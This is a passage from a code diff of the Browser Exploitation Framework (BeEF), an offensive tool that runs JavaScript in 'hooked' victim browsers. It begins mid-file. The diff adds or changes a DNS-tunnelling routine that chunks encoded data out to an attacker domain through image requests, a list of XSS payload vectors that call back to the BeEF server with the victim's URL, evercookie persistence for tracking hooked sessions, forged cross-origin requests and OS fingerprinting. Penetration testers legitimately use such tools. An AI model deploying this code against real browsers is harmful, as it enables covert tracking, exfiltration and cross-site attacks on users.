response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
|
||||
if (!response.response_body) {
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
if (!response.response_body) {
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
|
||||
} else {
|
||||
// same-domain request
|
||||
@@ -420,8 +441,16 @@ beef.net = {
|
||||
response.was_timedout = true;
|
||||
response.response_body = "ERROR: Timed out\n";
|
||||
response.port_status = "closed";
|
||||
/*
|
||||
* With IE we need to explicitly set the dataType to "script",
|
||||
* so there will be always parse-errors if the content is != javascript
|
||||
* */
|
||||
} else if (textStatus == "parsererror") {
|
||||
response.port_status = "not-http";
|
||||
if (beef.browser.isIE()) {
|
||||
response.status_text = "success";
|
||||
response.port_status = "open";
|
||||
}
|
||||
} else {
|
||||
response.port_status = "open";
|
||||
}
|
||||
@@ -434,7 +463,7 @@ beef.net = {
|
||||
|
||||
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
|
||||
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
|
||||
clean:function (r) {
|
||||
clean: function (r) {
|
||||
if (this.array_has_string_key(r)) {
|
||||
var obj = {};
|
||||
for (var key in r)
|
||||
@@ -445,7 +474,7 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Detects if an array has a string key
|
||||
array_has_string_key:function (arr) {
|
||||
array_has_string_key: function (arr) {
|
||||
if ($j.isArray(arr)) {
|
||||
try {
|
||||
for (var key in arr)
|
||||
@@ -459,7 +488,7 @@ beef.net = {
|
||||
/**
|
||||
* Sends back browser details to framework, calling beef.browser.getDetails()
|
||||
*/
|
||||
browser_details:function () {
|
||||
browser_details: function () {
|
||||
var details = beef.browser.getDetails();
|
||||
details['HookSessionID'] = beef.session.get_hook_session_id();
|
||||
this.send('/init', 0, details);
|
||||
|
||||
47
core/main/client/net/connection.js
Normal file
47
core/main/client/net/connection.js
Normal file
@@ -0,0 +1,47 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
// beef.net.connection - wraps Mozilla's Network Information API
|
||||
// https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
|
||||
// https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
|
||||
beef.net.connection = {
|
||||
|
||||
/* Returns the connection type
|
||||
* @example: beef.net.connection.type()
|
||||
* @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
|
||||
* @return: {String} connection type or 'unknown'.
|
||||
**/
|
||||
type: function () {
|
||||
try {
|
||||
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
|
||||
var type = connection.type;
|
||||
if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
|
||||
} catch(e) {
|
||||
beef.debug("Error retrieving connection type: " + e.message);
|
||||
return 'unknown';
|
||||
}
|
||||
},
|
||||
|
||||
/* Returns the maximum downlink speed of the connection
|
||||
* @example: beef.net.connection.downlinkMax()
|
||||
* @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
|
||||
* @return: {String} downlink max or 'unknown'.
|
||||
**/
|
||||
downlinkMax: function () {
|
||||
try {
|
||||
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
|
||||
var max = connection.downlinkMax;
|
||||
if (max) return max; else return 'unknown';
|
||||
} catch(e) {
|
||||
beef.debug("Error retrieving connection downlink max: " + e.message);
|
||||
return 'unknown';
|
||||
}
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.connection');
|
||||
|
||||
@@ -12,7 +12,7 @@ beef.net.cors = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Make a cross-domain request using CORS
|
||||
* Make a cross-origin request using CORS
|
||||
*
|
||||
* @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
|
||||
* @param url {String} url
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -18,49 +18,67 @@ beef.net.dns = {
|
||||
|
||||
handler: "dns",
|
||||
|
||||
send: function(msgId, messageString, domain, wait, callback) {
|
||||
send: function(msgId, data, domain, callback) {
|
||||
|
||||
var dom = document.createElement('b');
|
||||
var encode_data = function(str) {
|
||||
var result="";
|
||||
for(i=0;i<str.length;++i) {
|
||||
result+=str.charCodeAt(i).toString(16).toUpperCase();
|
||||
}
|
||||
return result;
|
||||
};
|
||||
|
||||
// DNS settings
|
||||
var max_domain_length = 255-5-5-5-5-5;
|
||||
var max_segment_length = max_domain_length - domain.length;
|
||||
var encodedData = encodeURI(encode_data(data));
|
||||
|
||||
// splits strings into chunks
|
||||
String.prototype.chunk = function(n) {
|
||||
if (typeof n=='undefined') n=100;
|
||||
return this.match(RegExp('.{1,'+n+'}','g'));
|
||||
};
|
||||
beef.debug(encodedData);
|
||||
beef.debug("_encodedData_ length: " + encodedData.length);
|
||||
|
||||
// XORs a string
|
||||
xor_encrypt = function(str, key) {
|
||||
var result="";
|
||||
for(i=0;i<str.length;++i) {
|
||||
result+=String.fromCharCode(key^str.charCodeAt(i));
|
||||
}
|
||||
return result;
|
||||
};
|
||||
// limitations to DNS according to RFC 1035:
|
||||
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
|
||||
// o Domain names are limited to 255 characters in length (including dots)
|
||||
// o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
|
||||
// o Subdomains are limited to 63 characters in length (including the trailing dot)
|
||||
|
||||
// sends a DNS request
|
||||
sendQuery = function(query) {
|
||||
//console.log("Requesting: "+query);
|
||||
var img = new Image;
|
||||
img.src = "http://"+query;
|
||||
img.onload = function() { dom.removeChild(this); }
|
||||
img.onerror = function() { dom.removeChild(this); }
|
||||
dom.appendChild(img);
|
||||
};
|
||||
// DNS request structure:
|
||||
// COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
|
||||
//max_length: 3. 3 . 3 . 63 . x
|
||||
|
||||
// encode message
|
||||
var xor_key = Math.floor(Math.random()*99000+1000);
|
||||
encoded_message = encodeURI(xor_encrypt(messageString, xor_key)).replace(/%/g,".");
|
||||
// only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
|
||||
// for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
|
||||
var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
|
||||
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
|
||||
var max_data_segment_length = 63; // by RFC
|
||||
|
||||
// Split message into segments
|
||||
segments = encoded_message.chunk(max_segment_length)
|
||||
for (seq=1; seq<=segments.length; seq++) {
|
||||
// send segment
|
||||
sendQuery(msgId+"."+seq+"."+segments.length+"."+xor_key+segments[seq-1]+"."+domain);
|
||||
}
|
||||
beef.debug("max_data_segment_length: " + max_data_segment_length);
|
||||
|
||||
var dom = document.createElement('b');
|
||||
|
||||
String.prototype.chunk = function(n) {
|
||||
if (typeof n=='undefined') n=100;
|
||||
return this.match(RegExp('.{1,'+n+'}','g'));
|
||||
};
|
||||
|
||||
var sendQuery = function(query) {
|
||||
var img = new Image;
|
||||
//img.src = "http://"+query;
|
||||
img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
|
||||
img.onload = function() { dom.removeChild(this); }
|
||||
img.onerror = function() { dom.removeChild(this); }
|
||||
dom.appendChild(img);
|
||||
|
||||
//experimental
|
||||
//setTimeout(function(){dom.removeChild(img)},1000);
|
||||
};
|
||||
|
||||
var segments = encodedData.chunk(max_data_segment_length);
|
||||
|
||||
var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
|
||||
|
||||
beef.debug(segments.length);
|
||||
|
||||
for (var seq=1; seq<=segments.length; seq++) {
|
||||
sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
|
||||
}
|
||||
|
||||
// callback - returns the number of queries sent
|
||||
if (!!callback) callback(segments.length);
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -19,11 +19,10 @@ beef.net.requester = {
|
||||
handler: "requester",
|
||||
|
||||
send: function(requests_array) {
|
||||
|
||||
for (i in requests_array) {
|
||||
for(var i=0; i<requests_array.length; i++){
|
||||
request = requests_array[i];
|
||||
|
||||
beef.net.forge_request('http', request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
|
||||
if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
|
||||
beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
|
||||
function(res, requestid) { beef.net.send('/requester', requestid, {
|
||||
response_data: res.response_body,
|
||||
response_status_code: res.status_code,
|
||||
@@ -32,8 +31,6 @@ beef.net.requester = {
|
||||
response_headers: res.headers});
|
||||
}
|
||||
);
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
@@ -49,22 +49,20 @@ beef.net.xssrays = {
|
||||
//browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
|
||||
vectors: [
|
||||
|
||||
// {input:"',XSS,'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\'><script>XSS<\/script>', name: 'Standard script injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"><script>XSS<\/script>', name: 'Standard script injection double quote', browser: 'ALL',url:true,form:true,path:true}, //,
|
||||
// {input:'\'><body onload=\'XSS\'>', name: 'body onload single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"><body onload="XSS">', name: 'body onload double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true}
|
||||
// {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
|
||||
{input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
@@ -107,7 +105,7 @@ beef.net.xssrays = {
|
||||
// util function. Print string to the console only if the debug flag is on and the browser is not IE.
|
||||
printDebug:function(log) {
|
||||
if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
|
||||
console.log("[XssRays] " + log);
|
||||
beef.debug("[XssRays] " + log);
|
||||
}
|
||||
},
|
||||
|
||||
@@ -340,8 +338,8 @@ beef.net.xssrays = {
|
||||
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
|
||||
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
|
||||
|
||||
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
|
||||
+ "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
|
||||
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
|
||||
exploit = vector.input.replace(/XSS/g, beefCallback);
|
||||
|
||||
@@ -368,7 +366,7 @@ beef.net.xssrays = {
|
||||
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
|
||||
|
||||
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
|
||||
+ "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
|
||||
exploit = vector.input.replace(/XSS/g, beefCallback);
|
||||
|
||||
@@ -424,7 +422,7 @@ beef.net.xssrays = {
|
||||
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
|
||||
|
||||
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
|
||||
+ "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
|
||||
exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
|
||||
form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -7,9 +7,32 @@
|
||||
beef.os = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
|
||||
|
||||
/**
|
||||
* Detect default browser (IE only)
|
||||
* Written by unsticky
|
||||
* http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
|
||||
*/
|
||||
getDefaultBrowser: function() {
|
||||
var result = "Unknown"
|
||||
try {
|
||||
var mt = document.mimeType;
|
||||
if (mt) {
|
||||
if (mt == "Safari Document") result = "Safari";
|
||||
if (mt == "Firefox HTML Document") result = "Firefox";
|
||||
if (mt == "Chrome HTML Document") result = "Chrome";
|
||||
if (mt == "HTML Document") result = "Internet Explorer";
|
||||
if (mt == "Opera Web Document") result = "Opera";
|
||||
}
|
||||
} catch (e) {
|
||||
beef.debug("[os] getDefaultBrowser: "+e.message);
|
||||
}
|
||||
return result;
|
||||
},
|
||||
|
||||
// the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
|
||||
isWin311: function() {
|
||||
return (this.ua.indexOf("Win16") != -1) ? true : false;
|
||||
return (this.ua.match('(Win16)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinNT4: function() {
|
||||
@@ -19,18 +42,25 @@ beef.os = {
|
||||
isWin95: function() {
|
||||
return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
|
||||
},
|
||||
isWinCE: function() {
|
||||
return (this.ua.match('(Windows CE)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin98: function() {
|
||||
return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinME: function() {
|
||||
return (this.ua.indexOf('Windows ME') != -1) ? true : false;
|
||||
return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin2000: function() {
|
||||
return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin2000SP1: function() {
|
||||
return (this.ua.match('Windows NT 5.01 ')) ? true : false;
|
||||
},
|
||||
|
||||
isWinXP: function() {
|
||||
return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
|
||||
@@ -47,6 +77,14 @@ beef.os = {
|
||||
isWin7: function() {
|
||||
return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin8: function() {
|
||||
return (this.ua.match('(Windows NT 6.2)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin81: function() {
|
||||
return (this.ua.match('(Windows NT 6.3)')) ? true : false;
|
||||
},
|
||||
|
||||
isOpenBSD: function() {
|
||||
return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
|
||||
@@ -64,6 +102,19 @@ beef.os = {
|
||||
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
|
||||
},
|
||||
|
||||
isOsxYosemite: function(){ // TODO
|
||||
return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
|
||||
},
|
||||
isOsxMavericks: function(){ // TODO
|
||||
return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
|
||||
},
|
||||
isOsxSnowLeopard: function(){ // TODO
|
||||
return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
|
||||
},
|
||||
isOsxLeopard: function(){ // TODO
|
||||
return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinPhone: function() {
|
||||
return (this.ua.match('(Windows Phone)')) ? true : false;
|
||||
},
|
||||
@@ -103,28 +154,26 @@ beef.os = {
|
||||
isBeOS: function() {
|
||||
return (this.ua.match('BeOS')) ? true : false;
|
||||
},
|
||||
|
||||
isWindows: function() {
|
||||
return (this.ua.match('Windows')) ? true : false;
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
//windows
|
||||
if(this.isWin311()) return 'Windows 3.11';
|
||||
if(this.isWinNT4()) return 'Windows NT 4';
|
||||
if(this.isWin95()) return 'Windows 95';
|
||||
if(this.isWin98()) return 'Windows 98';
|
||||
if(this.isWinME()) return 'Windows Millenium';
|
||||
if(this.isWin2000()) return 'Windows 2000';
|
||||
if(this.isWinXP()) return 'Windows XP';
|
||||
if(this.isWinServer2003()) return 'Windows Server 2003';
|
||||
if(this.isWinVista()) return 'Windows Vista';
|
||||
if(this.isWin7()) return 'Windows 7';
|
||||
|
||||
if(this.isWindows()){
|
||||
return 'Windows';
|
||||
}
|
||||
|
||||
if(this.isMacintosh()) {
|
||||
return 'OSX';
|
||||
}
|
||||
|
||||
//Nokia
|
||||
if(this.isNokia()) {
|
||||
|
||||
if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
|
||||
if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
|
||||
if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
|
||||
|
||||
//return 'Nokia';
|
||||
}
|
||||
|
||||
// BlackBerry
|
||||
@@ -133,9 +182,11 @@ beef.os = {
|
||||
// Android
|
||||
if(this.isAndroid()) return 'Android';
|
||||
|
||||
//linux
|
||||
// SunOS
|
||||
if(this.isSunOS()) return 'SunOS';
|
||||
|
||||
//Linux
|
||||
if(this.isLinux()) return 'Linux';
|
||||
if(this.isSunOS()) return 'Sun OS';
|
||||
|
||||
//iPhone
|
||||
if (this.isIphone()) return 'iOS';
|
||||
@@ -143,17 +194,6 @@ beef.os = {
|
||||
if (this.isIpad()) return 'iOS';
|
||||
//iPod
|
||||
if (this.isIpod()) return 'iOS';
|
||||
|
||||
// zune
|
||||
//if (this.isZune()) return 'Zune';
|
||||
|
||||
//macintosh
|
||||
if(this.isMacintosh()) {
|
||||
if((typeof navigator.oscpu != 'undefined') && (navigator.oscpu.indexOf('Mac OS')!=-1))
|
||||
return navigator.oscpu;
|
||||
|
||||
return 'Macintosh';
|
||||
}
|
||||
|
||||
//others
|
||||
if(this.isQNX()) return 'QNX';
|
||||
@@ -161,6 +201,36 @@ beef.os = {
|
||||
if(this.isWebOS()) return 'webOS';
|
||||
|
||||
return 'unknown';
|
||||
},
|
||||
|
||||
getVersion: function(){
|
||||
//Windows
|
||||
if(this.isWindows()) {
|
||||
if (this.isWin81()) return '8.1';
|
||||
if (this.isWin8()) return '8';
|
||||
if (this.isWin7()) return '7';
|
||||
if (this.isWinVista()) return 'Vista';
|
||||
if (this.isWinXP()) return 'XP';
|
||||
if (this.isWinServer2003()) return 'Server 2003';
|
||||
if (this.isWin2000SP1()) return '2000 SP1';
|
||||
if (this.isWin2000()) return '2000';
|
||||
if (this.isWinME()) return 'Millenium';
|
||||
|
||||
if (this.isWinNT4()) return 'NT 4';
|
||||
if (this.isWinCE()) return 'CE';
|
||||
if (this.isWin95()) return '95';
|
||||
if (this.isWin98()) return '98';
|
||||
}
|
||||
|
||||
// OS X
|
||||
if(this.isMacintosh()) {
|
||||
if (this.isOsxYosemite()) return '10.10';
|
||||
if (this.isOsxMavericks()) return '10.9';
|
||||
if (this.isOsxSnowLeopard()) return '10.8';
|
||||
if (this.isOsxLeopard()) return '10.7';
|
||||
}
|
||||
|
||||
// TODO add Android/iOS version detection
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -13,7 +13,8 @@ beef.session = {
|
||||
|
||||
hook_session_id_length: 80,
|
||||
hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
|
||||
ec: new evercookie(),
|
||||
ec: new evercookie(),
|
||||
beefhook: "<%= @hook_session_name %>",
|
||||
|
||||
/**
|
||||
* Gets a string which will be used to identify the hooked browser session
|
||||
@@ -22,12 +23,12 @@ beef.session = {
|
||||
*/
|
||||
get_hook_session_id: function() {
|
||||
// check if the browser is already known to the framework
|
||||
var id = this.ec.evercookie_cookie("BEEFHOOK");
|
||||
var id = this.ec.evercookie_cookie(beef.session.beefhook);
|
||||
if (typeof id == 'undefined') {
|
||||
var id = this.ec.evercookie_userdata("BEEFHOOK");
|
||||
var id = this.ec.evercookie_userdata(beef.session.beefhook);
|
||||
}
|
||||
if (typeof id == 'undefined') {
|
||||
var id = this.ec.evercookie_window("BEEFHOOK");
|
||||
var id = this.ec.evercookie_window(beef.session.beefhook);
|
||||
}
|
||||
|
||||
// if the browser is not known create a hook session id and set it
|
||||
@@ -47,9 +48,9 @@ beef.session = {
|
||||
*/
|
||||
set_hook_session_id: function(id) {
|
||||
// persist the hook session id
|
||||
this.ec.evercookie_cookie("BEEFHOOK", id);
|
||||
this.ec.evercookie_userdata("BEEFHOOK", id);
|
||||
this.ec.evercookie_window("BEEFHOOK", id);
|
||||
this.ec.evercookie_cookie(beef.session.beefhook, id);
|
||||
this.ec.evercookie_userdata(beef.session.beefhook, id);
|
||||
this.ec.evercookie_window(beef.session.beefhook, id);
|
||||
},
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*
|
||||
Sometimes there are timing issues and looks like beef_init
|
||||
is not called at all (always in cross-domain situations,
|
||||
is not called at all (always in cross-origin situations,
|
||||
for example calling the hook with jquery getScript,
|
||||
or sometimes with event handler injections).
|
||||
|
||||
@@ -14,4 +14,4 @@
|
||||
Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
|
||||
antisnatchor
|
||||
*/
|
||||
setTimeout(beef_init, 1000);
|
||||
//setTimeout(beef_init, 1000);
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -15,6 +15,7 @@ beef.updater = {
|
||||
|
||||
// XHR-polling timeout.
|
||||
xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
|
||||
beefhook: "<%= @hook_session_name %>",
|
||||
|
||||
// A lock.
|
||||
lock: false,
|
||||
@@ -46,9 +47,8 @@ beef.updater = {
|
||||
this.get_commands(); /*Polling*/
|
||||
}
|
||||
}
|
||||
|
||||
// ( typeof beef.websocket === "undefined")
|
||||
setTimeout("beef.updater.check();", beef.updater.xhr_poll_timeout);
|
||||
/* The following gives a stupid syntax error in IE, which can be ignored*/
|
||||
setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -57,7 +57,7 @@ beef.updater = {
|
||||
get_commands: function() {
|
||||
try {
|
||||
this.lock = true;
|
||||
